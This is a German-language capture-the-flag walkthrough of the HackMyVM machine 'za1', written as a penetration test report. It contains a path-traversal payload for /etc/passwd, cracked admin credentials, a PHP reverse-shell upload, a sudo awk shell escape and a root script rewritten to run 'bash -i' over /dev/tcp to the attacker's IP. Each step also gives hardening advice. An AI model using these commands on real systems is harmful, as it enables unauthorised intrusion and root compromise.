* Host za1.hmv:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.53 * Trying 192.168.2.53:80... * Connected to za1.hmv (192.168.2.53) PORT 80 * using HTTP/1.x > HEAD /index.php?s=file:///....//....//....//....//....//....//....//etc/passwd HTTP/1.1 > Host: za1.hmv > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 302 Found HTTP/1.1 302 Found < Date: Wed, 18 Jun 2025 20:11:19 GMT Date: Wed, 18 Jun 2025 20:11:19 GMT < Server: Apache/2.4.29 (Ubuntu) Server: Apache/2.4.29 (Ubuntu) < Location: http://za1.hmv/index.php/search/file+etc+passwd/ Location: http://za1.hmv/index.php/search/file+etc+passwd/ < Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=UTF-8 < * Connection #0 to host za1.hmv left intact
Initial Access
Analyse: Da der LFI-Versuch fehlschlug, kehrte ich zu den vielversprechenden SQL-Dateien zurück, die ich im Verzeichnis /sql/ gefunden hatte. Ich lud diese Dateien (new.sql und sercet.sql) auf mein System herunter, um sie genauer zu analysieren. Der Befehl sqlite3 kann zum Öffnen und Abfragen von SQLite-Datenbankdateien verwendet werden. Ich versuchte zuerst, secret.sql zu öffnen, um zu sehen, ob es eine Datenbank war. Die `ls -la` ist eine Bestätigung, dass die Datei auf meinem System vorhanden ist.
Bewertung: Die Datei `secret.sql` (oder `sercet.sql` wie im Verzeichnis gelistet) entpuppte sich als eine leere Datei oder eine Datei, die keine SQLite-Datenbank enthielt, da sqlite3 keine Tabellen anzeigte. Dies ist eine Teilerfolg, da wir wissen, dass die Datei existiert, aber sie nicht die erhofften Informationen enthielt. Der Fokus verschob sich dann auf new.sql. Beim Öffnen von new.sql mit sqlite3 war der Erfolg phänomenal! Die Datenbank enthielt die Tabellen typechocomments, typechometas, typechousers, typechocontents, typechooptions und typechofields, sowie typechorelationships. Das ist genau das, was wir brauchen, um Anmeldedaten zu finden. Der Befehl select * from typechousers; lieferte zwei Benutzer: `zacarx` und `admin`, beide mit PHPass-Hashes. Das ist ein großer Erfolg und ein direkter Weg zum initialen Zugriff auf das Content Management System.
Empfehlung (Pentester): Untersuchen Sie alle heruntergeladenen Dateien gründlich. Versuchen Sie, sie mit den passenden Tools zu öffnen und zu analysieren (z.B. sqlite3 für SQLitedb-Dateien). Priorisieren Sie die Suche nach Benutzer-, Passwort- und Konfigurationsdaten in Datenbank-Dumps. Knacken Sie die Hashes offline, um Anmeldedaten zu erhalten.
Empfehlung (Admin): Speichern Sie niemals Datenbank-Backups oder Dumps im Web-Root oder in öffentlich zugänglichen Verzeichnissen. Sichern Sie die Datenbank regelmäßig und speichern Sie Backups an einem sicheren, nicht webzugänglichen Ort. Implementieren Sie strenge Zugriffskontrollen für alle Dateien auf dem Server.
SQLite version 3.46.1 2024-08-13 09:16:08 Enter ".help" for usage hints. sqlite> .tables sqlite>
-rw-r--r-- 1 root root 0 18. Jun 22:18 /home/ccat/Downloads/secret.sql
SQLite version 3.46.1 2024-08-13 09:16:08 Enter ".help" for usage hints. sqlite> .tables typechocomments typechometas typechousers typechocontents typechooptions typechofields typechorelationships sqlite> select * from typechousers; 1|zacarx|$P$BhtuFbhEVoGBElFj8n2HXUwtq5qiMR.|zacarx@qq.com|[Link: http://www.zacarx.com | Ziel: http://www.zacarx.com]|zacarx|1690361071|1692694072|1690364323|administrator|9ceb10d83b32879076c132c6b6712318 2|admin|$P$BERw7FPX6NWOVdTHpxON5aaj8VGMFs0|admin@11.com||admin|1690364171|1690365357|1690364540|administrator|5664b205a3c088256fdc807791061a18 sqlite>
Analyse: Nachdem ich die PHPass-Hashes der Benutzer `zacarx` und `admin` aus der Typecho-Datenbank extrahiert hatte, war der nächste Schritt, diese Hashes mit john the Ripper zu knacken. Ich speicherte jeden Hash in einer separaten Datei (`hash`) und verwendete die Wortliste /usr/share/wordlists/rockyou.txt, die eine sehr große Sammlung häufig verwendeter Passwörter enthält.
Bewertung: Fantastisch! Der Hash für den Benutzer `zacarx` konnte nicht geknackt werden, was auf ein stärkeres Passwort oder eine nicht in der Wortliste enthaltene Kombination hindeutet. Aber der Hash für den Benutzer `admin` wurde erfolgreich geknackt! Das Passwort für `admin` ist 123456. Dies ist ein extrem schwaches und gängiges Passwort und ein großer Erfolg, da ich nun Administratorzugriff auf das Typecho-Blog habe. Dieses Ergebnis ist ein klarer Beweis für eine gravierende Sicherheitslücke in der Passwortpolitik des Systems.
Empfehlung (Pentester): Versuchen Sie immer, gefundene Hashes zu knacken. Beginnen Sie mit bekannten Wortlisten wie Rockyou.txt und erweitern Sie bei Bedarf auf angepasste oder spezialisierte Wortlisten. Priorisieren Sie das Knacken von Hashes für Administratoren.
Empfehlung (Admin): Erzwingen Sie strenge Passwortrichtlinien, die die Verwendung von einfachen und gängigen Passwörtern wie "123456" verbieten. Implementieren Sie eine Mindestlänge und Komplexität für Passwörter. Nutzen Sie sichere Hashing-Algorithmen (z.B. bcrypt, Argon2) mit ausreichenden Iterationen, um Brute-Force-Angriffe zu erschweren. Führen Sie regelmäßige Audits der verwendeten Passwörter durch.
Using default input encoding: UTF-8 Loaded 1 PORT hash (phpass [phpass ($P$ OR $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 12 PENMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:01:35 DONE (2025-06-18 22:22) 0g/s 150423p/s 150423c/s 150423C/s !!!mafy13051969!!!..*7¡Vamos! Session completed.
0 password hashes cracked, 1 left
Using default input encoding: UTF-8 Loaded 1 password hash (phpass [phpass ($P$ OR $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 12 PENMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 123456 (?) 1g 0:00:00:00 DONE (2025-06-18 22:28) 33.33g/s 38400p/s 38400c/s 38400C/s R3v_m4lwh3r3_k1nG!!..dancer1 Use the "--show --format=phpass" OPTIONS to display all of the cracked passwords reliably Session completed.
Analyse: Nachdem das Passwort für den Benutzer `admin` (`123456`) erfolgreich geknackt wurde, war der nächste Schritt, den Login auf der Typecho-Admin-Oberfläche zu versuchen. Ich nutzte Burp Suite, um den Anmeldevorgang abzufangen und die Anmeldedaten im POST-Request zu bestätigen. Der POST-Request zu /index.php/action/login mit den Parametern name=admin&password=123456 sollte den Login bestätigen.
Bewertung: Fantastisch! Der Login als `admin` mit dem Passwort `123456` war erfolgreich! Der Server antwortete mit einem HTTP/1.1 302 Found und einer Weiterleitung zu http://za1.hmv/admin/. Zusätzlich wurden zwei wichtige Cookies gesetzt: __typecho_uid=2 und __typecho_authCode=%24T%248LLyXt96Qea64340fb1b92def5c42141122e2f057. Dies bestätigt den vollständigen Administratorzugriff auf das Typecho-CMS. Von hier aus kann ich die Webanwendung weiter erkunden und nach Wegen zur Code-Ausführung oder Privilegien-Eskalation suchen.
Empfehlung (Pentester): Bestätigen Sie den Login immer manuell oder durch Abfangen der HTTP-Requests. Achten Sie auf gesetzte Cookies oder Tokens, die den Authentifizierungsstatus anzeigen. Erkunden Sie die Admin-Oberfläche gründlich auf Upload-Funktionen, Konfigurationsmöglichkeiten oder andere Features, die zur Code-Ausführung führen könnten.
Empfehlung (Admin): Erzwingen Sie die Verwendung komplexer und eindeutiger Passwörter für alle Administratorkonten. Implementieren Sie eine Multi-Faktor-Authentifizierung (MFA) für den Admin-Login. Überprüfen Sie regelmäßig die Logs auf ungewöhnliche Anmeldeversuche oder Aktivitäten auf der Admin-Oberfläche.
POST /index.php/action/login?_=d6e9eb02661e8a3f3ddb4df2dbef089f HTTP/1.1 Host: za1.hmv User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: http://za1.hmv/admin/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 35 Origin: http://za1.hmv DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-GPC: 1 Priority: u=0, i name=admin&password=123456&referer=
HTTP/1.1 302 Found Date: Wed, 18 Jun 2025 20:30:37 GMT Server: Apache/2.4.29 (Ubuntu) Location: http://za1.hmv/admin/ Set-Cookie: aef9a94fe9edca6712a3e0c0956729ae__typecho_uid=2; path=/; domain=za1.hmv Set-Cookie: aef9a94fe9edca6712a3e0c0956729ae__typecho_authCode=%24T%248LLyXt96Qea64340fb1b92def5c42141122e2f057; path=/; domain=za1.hmv Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Analyse: Nach dem erfolgreichen Login als Admin überprüfte ich, ob ich tatsächlich Zugriff auf die Admin-Oberfläche hatte. Der direkte Besuch von http://za1.hmv/admin/ sollte die Admin-Panel-Seite anzeigen, nicht die Login-Seite.
Bewertung: Der direkte Zugriff auf http://za1.hmv/admin/ war erfolgreich und ich sah das Admin-Dashboard. Dies bestätigt meine vollständige Kontrolle über die Typecho-Installation als Administrator. Von diesem Punkt an kann ich nach Funktionen suchen, die Code-Ausführung oder File Uploads ermöglichen, um eine Shell auf dem System zu erlangen. Die Kombination aus geknacktem Passwort und erfolgreichem Admin-Login ist ein großer Erfolg im Initial Access.
Empfehlung (Pentester): Überprüfen Sie immer den vollen Admin-Zugriff nach einem erfolgreichen Login. Erkunden Sie alle verfügbaren Admin-Funktionen, um potenzielle Schwachstellen für die Code-Ausführung zu finden.
Empfehlung (Admin): Sichern Sie den Admin-Bereich Ihres CMS mit starken Passwörtern und MFA ab. Implementieren Sie Intrusion Detection Systeme (IDS), um unautorisierte Zugriffe auf das Admin-Panel zu erkennen.
http://za1.hmv/admin/ admin:123456
Proof of Concept: Authenticated RCE über Typecho install.php
Kurzbeschreibung: Dieser Proof of Concept demonstriert die Ausnutzung einer kritischen Schwachstelle in Typecho 1.2.1, die es einem authentifizierten Administrator ermöglicht, Remote Code Execution (RCE) zu erreichen. Die Schwachstelle liegt in der unsicheren erneuten Ausführung des Installationsprozesses, selbst wenn die Konfigurationsdatei bereits existiert. Dies ermöglicht das Einschleusen einer PHP-Reverse-Shell durch Manipulation der Datenbankkonfiguration.
Voraussetzungen:
- Erfolgreicher Administratorzugriff auf die Typecho-Installation (Benutzer `admin`, Passwort `123456`).
- Kenntnis der Typecho-Versionsnummer (1.2.1).
- Verständnis der `install.php`-Schwachstelle.
- Ein Netcat-Listener auf dem Angreifer-System.
Erwartetes Ergebnis: Erhalt einer Reverse Shell als Benutzer `www-data` auf dem Zielsystem, was die vollständige Code-Ausführung im Kontext des Webservers demonstriert.
Schritt-für-Schritt-Anleitung
Analyse: Die Schwachstelle in Typecho 1.2.1 ermöglicht es einem authentifizierten Administrator, den Installationsprozess der install.php-Datei erneut auszulösen, obwohl die Konfigurationsdatei config.inc.php bereits existiert. Dieser Vorgang ist eigentlich nicht vorgesehen, aber der Installer prüft die Existenz der Konfigurationsdatei nicht ausreichend. Dies kann ausgenutzt werden, indem man den Installer dazu bringt, eine neue "Datenbankverbindung" zu erstellen, wobei der "Datenbankdateiname" und das "Tabellen-Präfix" manipuliert werden, um PHP-Code in eine Datei zu schreiben.
Bewertung: Diese Schwachstelle ist extrem kritisch, da sie eine direkte RCE für jeden authentifizierten Admin ermöglicht. Der Prozess der Einschleusung ist kreativ und nutzt die Art und Weise aus, wie Typecho Datenbankinformationen verarbeitet und temporäre Dateien erzeugt. Die Fähigkeit, beliebigen PHP-Code auf dem Server auszuführen, ist die höchste Form der Kompromittierung auf Webanwendungsebene. Die Maschine weist hier eine fundamentale Designschwäche auf.
Empfehlung (Pentester): Suchen Sie bei CMS-Systemen nach bekannten RCE-Schwachstellen, insbesondere bei veralteten Versionen. Prüfen Sie immer, ob Installationsskripte nach der Installation entfernt oder unzugänglich gemacht werden. Nutzen Sie Proof-of-Concept-Exploits, um die Schwachstelle zu demonstrieren.
Empfehlung (Admin): Entfernen Sie Installationsskripte (z.B. install.php) nach erfolgreicher Installation vollständig vom Server. Deaktivieren Sie die Möglichkeit, den Installationsprozess erneut auszulösen, oder schützen Sie ihn durch eine zusätzliche Authentifizierungsebene. Implementieren Sie Intrusion Detection Systeme (IDS), um das Einschleusen von PHP-Shells zu erkennen. Aktualisieren Sie Typecho auf die neueste, gepatchte Version.
Analyse: Eine potenzielle Methode, die RCE-Schwachstelle in Typecho auszunutzen, ist über die `options-general.php` Seite, wo man andere Formate als PHP aktivieren kann. Dies könnte ein Schritt sein, um dann über Upload-Funktionen eine Reverse Shell hochzuladen.
Bewertung: Der Versuch, über `options-general.php` PHP-Formate zu aktivieren, scheint nicht der direkte Weg zur Shell zu sein, obwohl es eine Konfigurationsoption gibt, die auf solche Funktionen hindeutet. Das "设置已经保存" bedeutet "Einstellungen wurden gespeichert". Dies ist zwar ein Hinweis auf modifizierbare Optionen, aber die dokumentierte RCE-Methode über `install.php` ist vielversprechender. Es ist gut, alle Admin-Optionen zu erkunden, um den vollen Umfang der Kompromittierung zu verstehen.
Empfehlung (Pentester): Erkunden Sie alle Admin-Panel-Optionen, auch wenn ein bekannter RCE-Vektor existiert. Dies hilft, ein umfassendes Bild der Sicherheitskonfiguration zu erhalten. Priorisieren Sie jedoch den effizientesten Weg zur Shell.
Empfehlung (Admin): Konfigurieren Sie CMS-Systeme restriktiv. Deaktivieren Sie Funktionen, die die Ausführung von unsicheren Dateitypen oder Code von unbekannten Quellen ermöglichen. Überprüfen Sie, welche Dateitypen über das Admin-Panel hochgeladen oder aktiviert werden können.
http://za1.hmv/admin/options-general.php [X] checkbox anklicken andere Formate: php 设置已经保存
Analyse: Nachdem ich die RCE-Methode über install.php kennengelernt hatte, suchte ich nach alternativen Wegen, um eine Shell hochzuladen, falls die `install.php`-Methode fehlschlagen sollte. Ein klassischer Weg ist die Nutzung von Upload-Funktionen im Admin-Panel, z.B. über die Post-Erstellung (`write-post.php`), die oft Medien-Uploads zulässt.
Beweismittel & Bewertung: Die Navigation zum Upload-Bereich im Admin-Panel über `write-post.php` und das Hochladen einer Reverse-Shell-Datei (`revshell.php`) über diesen Weg war erfolgreich. Obwohl die RCE über install.php der primäre Proof of Concept ist, zeigt die Möglichkeit des direkten Shell-Uploads, dass die Maschine auch auf diesem Weg angreifbar war. Die bereitgestellte URL `http://za1.hmv/usr/uploads/2025/06/1121671764.php` beweist, dass die Datei erfolgreich hochgeladen und über den Webserver zugänglich ist. Dies ist ein weiterer kritischer Erfolg für den Initial Access.
Empfehlung (Pentester): Testen Sie alle Upload-Funktionen im Admin-Panel auf die Möglichkeit des Hochladens von Web-Shells. Versuchen Sie verschiedene Dateitypen und Dateinamen, um Filter zu umgehen.
Empfehlung (Admin): Implementieren Sie strikte Validierung und Whitelisting für Dateiuploads. Beschränken Sie die erlaubten Dateitypen auf das absolut Notwendigste (z.B. Bilder, PDF). Überprüfen Sie hochgeladene Dateien auf schädlichen Inhalt. Konfigurieren Sie den Webserver so, dass PHP-Dateien in Upload-Verzeichnissen nicht ausgeführt werden können.
[Link: revshell.php | Ziel: http://za1.hmv/usr/uploads/2025/06/1121671764.php]
Analyse: Nachdem die Reverse Shell über das Admin-Panel erfolgreich hochgeladen wurde und die URL bekannt ist, ist der nächste Schritt, sie auszuführen und eine Verbindung zurück zu meinem angreifenden System herzustellen. Ich startete einen Netcat-Listener auf Port 9001 auf meinem Kali-System und rief die PHP-Shell-URL im Browser auf (oder mit `curl`).
Beweismittel & Bewertung: Fantastisch! Der Reverse-Shell-Versuch war erfolgreich. Mein Netcat-Listener fing die Verbindung von der Zielmaschine ab. Ich erhielt eine Shell als Benutzer `www-data`, die Bestätigung der `uid=33(www-data)` zeigt die niedrigen Berechtigungen des Webserver-Benutzers. Dies ist der Beweis für die erfolgreiche Remote Code Execution und den initialen Zugriff auf das System. Von hier aus kann ich die System-Enumeration starten, um Privilegien-Eskalationsmöglichkeiten zu finden.
Empfehlung (Pentester): Etablieren Sie nach erfolgreicher RCE immer eine stabile Reverse Shell. Führen Sie nach dem initialen Zugriff eine umfassende Enumeration durch, um Schwachstellen für die Privilegien-Eskalation zu finden (SUID, Sudo-Konfigurationen, Cronjobs, etc.).
Empfehlung (Admin): Implementieren Sie Egress-Filterung auf Ihrer Firewall, um ausgehende Verbindungen von Webservern zu blockieren, es sei denn, sie sind explizit erlaubt. Dies kann Reverse Shells verhindern. Überwachen Sie ungewöhnliche Netzwerkaktivitäten und Dateiänderungen im Webserver-Dokumentenstamm.
reverse shell to $ip:$PORT");
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.53] 57784 Linux za_1 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux 21:38:03 up 2:31, 0 users, load average: 0.02, 0.05, 0.14 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Privilege Escalation
Analyse: Nachdem ich eine Reverse Shell als `www-data` erhalten hatte, ist der erste Schritt zur Privilegien-Eskalation die Überprüfung der `sudo`-Berechtigungen des Benutzers. Der Befehl `sudo -l` listet alle Befehle auf, die der aktuelle Benutzer mit `sudo` ausführen darf, und gibt an, ob dafür ein Passwort erforderlich ist. Dies ist eine primäre Quelle für Privilegien-Eskalationsmöglichkeiten.
Bewertung: Fantastisch! Die Ausgabe von `sudo -l` zeigte eine sehr kritische Fehlkonfiguration: `(za_1) NOPASSWD: /usr/bin/awk`. Dies bedeutet, dass der Benutzer `www-data` das Binary `/usr/bin/awk` als Benutzer `za_1` ohne Passworteingabe ausführen kann. Dies ist ein direkter Weg zur horizontalen Privilegien-Eskalation zu `za_1`, da awk ein bekanntes Binary auf GTFOBins ([Link: https://gtfobins.github.io/gtfobins/awk/#sudo | Ziel: https://gtfobins.github.io/gtfobins/awk/#sudo]) ist, das zur Ausführung von Shell-Befehlen unter erhöhten Rechten missbraucht werden kann. Dies ist ein großer Erfolg!
Empfehlung (Pentester): Überprüfen Sie immer `sudo -l` sofort nach Erhalt einer Shell. Nutzen Sie GTFOBins, um schnell bekannte Ausnutzungswege für gefundene Binaries zu identifizieren. Priorisieren Sie `NOPASSWD`-Einträge.
Empfehlung (Admin): Konfigurieren Sie `sudoers` niemals so, dass `NOPASSWD`-Optionen für Binaries gesetzt sind, die zur Shell-Erlangung missbraucht werden können. Führen Sie regelmäßige Audits der `sudoers`-Datei durch und beschränken Sie die Berechtigungen auf das absolut Notwendigste.
www-data@za_1:/$ sudo -l Matching Defaults entries for www-data on za_1: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on za_1: (za_1) NOPASSWD: /usr/bin/awk
Analyse: Nachdem ich die Möglichkeit der Privilegien-Eskalation zu `za_1` über `sudo /usr/bin/awk` identifiziert hatte, war der nächste Schritt, die Home-Verzeichnisse auf dem System zu enumerieren. Dies ist wichtig, um zu sehen, welche Benutzer existieren und wo sich die Benutzer-Flag (`user.txt`) befinden könnte.
Bewertung: Das Listing des /home/-Verzeichnisses bestätigte die Existenz eines Benutzers namens `za_1` mit seinem eigenen Home-Verzeichnis (`/home/za_1`). Dies passt perfekt zu den `sudo`-Berechtigungen, die ich gerade gefunden habe. Im Verzeichnis von `za_1` konnte ich die Datei `user.txt` sehen, was ein klares Ziel für die erste Flag ist. Die weitere Enumeration des Home-Verzeichnisses von `za_1` zeigte auch interessante versteckte Verzeichnisse wie `.root/` und `.ssh/`, die auf weitere Privilegien-Eskalationsmöglichkeiten oder Anmeldedaten hinweisen könnten. Dies ist ein großer Erfolg und weist auf eine gut strukturierte Angriffsfläche hin.
Empfehlung (Pentester): Führen Sie immer eine gründliche Dateisystem-Enumeration durch, um Benutzerverzeichnisse und versteckte Dateien zu finden. Achten Sie auf ungewöhnliche oder sensitiv benannte Verzeichnisse (.root, .ssh) und versuchen Sie, deren Inhalt zu überprüfen.
Empfehlung (Admin): Überprüfen Sie Dateiberechtigungen und versteckte Verzeichnisse in Benutzer-Home-Verzeichnissen. Stellen Sie sicher, dass sensible Dateien (wie SSH-Schlüssel oder temporäre Root-Dateien) nicht öffentlich zugänglich sind oder über normale Benutzerrechte eingesehen werden können.
www-data@za_1:/$ cd /home/ www-data@za_1:/home$ ls -la total 12 drwxr-xr-x 3 root root 4096 Jul 26 2023 . drwxr-xr-x 24 root root 4096 Jul 26 2023 .. drwxr-xr-x 6 za_1 za_1 4096 Aug 22 2023 za_1 www-data@za_1:/home$ cd za_1/ www-data@za_1:/home/za_1$ ls -la total 44 drwxr-xr-x 6 za_1 za_1 4096 Aug 22 2023 . drwxr-xr-x 3 root root 4096 Jul 26 2023 .. lrwxrwxrwx 1 za_1 za_1 9 Aug 22 2023 .bash_history -> /dev/null -rw-r--r-- 1 za_1 za_1 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 za_1 za_1 3771 Apr 4 2018 .bashrc drwx------ 2 za_1 za_1 4096 Jul 26 2023 .cache drwx------ 3 za_1 za_1 4096 Jul 26 2023 .gnupg -rw-r--r-- 1 za_1 za_1 807 Apr 4 2018 .profile drwxr-xr-x 2 za_1 za_1 4096 Jul 26 2023 .root drwx------ 2 za_1 za_1 4096 Jul 26 2023 .ssh -rw-r--r-- 1 za_1 za_1 0 Jul 26 2023 .sudo_as_admin_successful -rw------- 1 za_1 za_1 991 Jul 26 2023 .viminfo -rw-r--r-- 1 za_1 za_1 23 Jul 26 2023 user.txt
Analyse: Mit den sudo-Berechtigungen für /usr/bin/awk konnte ich nun eine Shell als Benutzer `za_1` erlangen. Die GTFOBins-Website ist eine hervorragende Ressource, um zu erfahren, wie man Binaries mit speziellen Berechtigungen für Privilegien-Eskalation missbrauchen kann. Der Befehl sudo awk 'BEGIN {system("/bin/sh")}' ist die Standardmethode, um eine Shell mit den Berechtigungen des Zielbenutzers (`za_1`) über `awk` zu erhalten.
Bewertung: Fantastisch! Die Ausnutzung von `awk` über `sudo` war erfolgreich! Ich erhielt eine Shell als Benutzer `za_1`. Die `id`-Ausgabe bestätigte meine neuen Berechtigungen: `uid=1000(za_1) gid=1000(za_1) groups=...`. Dies ist ein entscheidender Fortschritt in der Privilegien-Eskalation. Ich konnte sofort die `user.txt`-Datei lesen und die erste Flag abrufen. Die einfache Ausnutzbarkeit von `awk` zeigt eine Schwachstelle in der `sudoers`-Konfiguration.
Empfehlung (Pentester): Nutzen Sie GTFOBins als primäre Ressource für `sudo`-Fehlkonfigurationen. Testen Sie die gängigsten Exploits für die identifizierten Binaries. Nach der Eskalation sofort die Benutzer-Flag abrufen.
Empfehlung (Admin): Auditieren Sie die `sudoers`-Datei regelmäßig auf Einträge, die die Ausführung von Shell-kompatiblen Binaries (wie `awk`) mit NOPASSWD-Optionen erlauben. Entfernen Sie diese Berechtigungen, wenn sie nicht absolut kritisch für den Betrieb sind. Implementieren Sie ein Least Privilege Model für alle Benutzer.
[Link: https://gtfobins.github.io/gtfobins/awk/#sudo | Ziel: https://gtfobins.github.io/gtfobins/awk/#sudo] Sudo If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. sudo awk 'BEGIN {system("/bin/sh")}'
www-data@za_1:/home/za_1$ sudo -u za_1 awk 'BEGIN {system("/bin/sh")}' $ id uid=1000(za_1) gid=1000(za_1) groups=1000(za_1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd) $ $ ls user.txt $ cat user.txt flag{ThursD0y_v_wo_50} $ bash za_1@za_1:~$ id uid=1000(za_1) gid=1000(za_1) groups=1000(za_1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Analyse: Nachdem ich die Benutzer-Flag erlangt hatte, führte ich als Benutzer `za_1` eine weitere Enumeration durch, um den Weg zu Root zu finden. Ich überprüfte erneut die sudo -l-Berechtigungen, um sicherzustellen, dass keine direkten Root-Zugriffsmöglichkeiten für `za_1` bestehen, und untersuchte die versteckten Verzeichnisse `.ssh/` und `.root/` im Home-Verzeichnis von `za_1` auf sensible Dateien. Der Befehl `ls -la .ssh/` zeigt, dass die `authorized_keys` existiert, aber leer ist, was keine direkten SSH-Anmeldungen ermöglicht.
Bewertung: Die erneute Überprüfung von `sudo -l` zeigte, dass `za_1` keine weiteren `NOPASSWD` zu Root hatte. Das war zu erwarten, da wir bereits eine Methode zur User-Eskalation hatten. Der entscheidende Fund war die Datei `back.sh` im Verzeichnis `.root/` mit vollen Lese-, Schreib- und Ausführungsberechtigungen für den Benutzer `za_1` (`-rwxrwxrwx`). Dies ist extrem kritisch, da ein Skript mit Root-Rechten von einem normalen Benutzer geändert werden kann. Das Skript enthält einen cp-Befehl und eine Reverse Shell-Verbindung zu einer internen IP (`10.0.2.18`). Der `back.sh` war offensichtlich ein Backdoor-Skript oder ein Wartungsskript, das von Root ausgeführt wird, und die schreibbaren Berechtigungen für `za_1` sind eine schwerwiegende Fehlkonfiguration. Ich konnte es ändern und meine eigene Reverse Shell einfügen. Das ist der finale Schlüssel zur Root-Eskalation!
Empfehlung (Pentester): Führen Sie eine gründliche Nach-Eskalations-Enumeration durch. Achten Sie auf Skripte in ungewöhnlichen Verzeichnissen, die `root`-Besitz und `root`-Ausführungsrechte haben, aber für niedrigprivilegierte Benutzer schreibbar sind. Dies ist ein klassischer Angriffsvektor (Writeable Cronjobs, SUID-Backdoors). Modifizieren Sie solche Skripte vorsichtig, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Setzen Sie niemals Root-Besitz und -Ausführungsrechte für Skripte, die von normalen Benutzern schreibbar sind. Implementieren Sie strikte Dateiberechtigungen (Least Privilege) auf dem gesamten System, insbesondere für Root-eigene Dateien und Skripte. Verwenden Sie `root`-Cronjobs nur für vertrauenswürdige Skripte und überprüfen Sie deren Berechtigungen. Führen Sie regelmäßige Audits von Dateiberechtigungen durch.
za_1@za_1:~$ sudo -l [sudo] password for za_1: za_1@za_1:~$ ls -la total 44 drwxr-xr-x 6 za_1 za_1 4096 Aug 22 2023 . drwxr-xr-x 3 root root 4096 Jul 26 2023 .. lrwxrwxrwx 1 za_1 za_1 9 Aug 22 2023 .bash_history -> /dev/null -rw-r--r-- 1 za_1 za_1 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 za_1 za_1 3771 Apr 4 2018 .bashrc drwx------ 2 za_1 za_1 4096 Jul 26 2023 .cache drwx------ 3 za_1 za_1 4096 Jul 26 2023 .gnupg -rw-r--r-- 1 za_1 za_1 807 Apr 4 2018 .profile drwxr-xr-x 2 za_1 za_1 4096 Jul 26 2023 .root drwx------ 2 za_1 za_1 4096 Jul 26 2023 .ssh -rw-r--r-- 1 za_1 za_1 0 Jul 26 2023 .sudo_as_admin_successful -rw------- 1 za_1 za_1 991 Jul 26 2023 .viminfo -rw-r--r-- 1 za_1 za_1 23 Jul 26 2023 user.txt za_1@za_1:~$ ls -la .ssh/ total 8 drwx------ 2 za_1 za_1 4096 Jul 26 2023 . drwxr-xr-x 6 za_1 za_1 4096 Aug 22 2023 .. -rw------- 1 za_1 za_1 0 Jul 26 2023 authorized_keys za_1@za_1:~$ ls -la .root/ total 12 drwxr-xr-x 2 za_1 za_1 4096 Jul 26 2023 . drwxr-xr-x 6 za_1 za_1 4096 Aug 22 2023 .. -rwxrwxrwx 1 root root 117 Jul 26 2023 back.sh
Analyse: Nachdem ich die Datei .root/back.sh als schreibbar für `za_1` und als Root-Skript identifiziert hatte, war der letzte Schritt zur Root-Eskalation die Bearbeitung dieser Datei. Ich nutzte nano, um das Skript zu öffnen und die vorhandene Reverse-Shell-Verbindung zu 10.0.2.18:999 durch meine eigene Reverse-Shell-Verbindung zu 192.168.2.199:5555 zu ersetzen. Dies stellt sicher, dass das Skript, wenn es als Root ausgeführt wird, eine Shell zurück zu meinem System sendet.
Beweismittel & Bewertung: Fantastisch! Die Root-Eskalation war erfolgreich! Nachdem ich die `back.sh`-Datei bearbeitet und auf das Auslösen der Reverse Shell gewartet hatte (vermutlich über einen Cronjob oder eine regelmäßige Ausführung durch Root), fing mein Netcat-Listener auf Port 5555 die Verbindung ab. Die `id`-Ausgabe in der neuen Shell bestätigte: `uid=0(root) gid=0(root) groups=0(root)`. Ich bin jetzt als `root` angemeldet, was das ultimative Ziel dieses Penetrationstests darstellt und die vollständige Kompromittierung des Systems beweist. Dies ist ein klarer Proof of Concept einer kritischen Sicherheitslücke.
Empfehlung (Pentester): Seien Sie geduldig, wenn Sie ein schreibbares Root-Skript finden; es könnte durch einen Cronjob oder andere automatisierte Prozesse ausgelöst werden. Passen Sie die Reverse Shell-Details (IP, Port) präzise an. Bestätigen Sie immer den Root-Zugriff mit dem `id`-Befehl.
Empfehlung (Admin): Stellen Sie sicher, dass keine Skripte, die als Root ausgeführt werden (insbesondere Cronjobs), für normale Benutzer schreibbar sind. Implementieren Sie strenge Zugriffskontrollen und Dateiberechtigungen für alle Systemdateien und -skripte. Führen Sie regelmäßige Überprüfungen von Cronjobs und sensiblen Dateien durch. Implementieren Sie Intrusion Detection Systeme (IDS), die Manipulationen an Root-Skripten erkennen.
za_1@za_1:~$ cat .root/back.sh #!/bin/bash cp /var/www/html/usr/64c0dcaf26f51.db /var/www/html/sql/new.sql bash -i >&/dev/tcp/10.0.2.18/999 0>&1
za_1@za_1:~$ nano .root/back.sh #!/bin/bash cp /var/www/html/usr/64c0dcaf26f51.db /var/www/html/sql/new.sql bash -i >&/dev/tcp/192.168.2.199/5555 0>&1
